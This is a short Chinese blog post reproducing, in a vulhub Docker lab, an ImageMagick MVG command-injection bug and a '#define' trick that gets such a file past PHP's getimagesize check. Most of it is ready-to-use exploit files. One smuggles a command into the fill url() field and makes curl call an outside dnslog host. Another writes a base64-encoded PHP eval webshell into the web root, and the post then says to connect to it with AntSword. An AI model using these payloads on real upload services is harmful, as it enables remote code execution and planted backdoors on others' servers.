如何绕过 (imagemagick配合getimagesize) 最近看到p神的一篇文章 p神分析 觉得挺有意思的,就想着来复现下 首先复现之前,要安装php的扩展imagic ubuntu18.04环境下
apt install php-imagick
大致的代码意思是,如果文件的宽和高都大于100,就压缩这个图片,重新写一个gif到文件夹里 源码分析上面的p神文章已经讲得很清楚,这里不多说
imagic 本来有一个洞,就是处理mvg格式文件的时候有一个RCE 而getimagesize不能处理mvg文件 然后p神在文章里讲了如何绕过,以及源码分析
这里也不多说 绕过方法,只需要某一行格式满足#define 某文件名字 某文件宽度 就可以通过getimagesize
只需要改一改原来的poc即可
这边由于ubuntu18.04的imagic已经修复好了这个洞, 我选用vulhub 的cve进行魔改 github
在此鸣谢vulhub 帮我省了不少事 dockers-compose up -d 一键起 先测试下看看能不能RCE
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`curl hpd1gi.dnslog.cn`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200
将图片上传 有访问,说明执行了curl 接下来写马
写马poc
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`echo PD9waHAgZXZhbCgkX1BPU1RbcGVuc29uXSk7Pz4=|base64 -d > /var/www/html/a.php`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200
这里用base64来写,不明原因如果直接写的话?会被替换成_可能是convert的原因
上传后蚁剑连接即可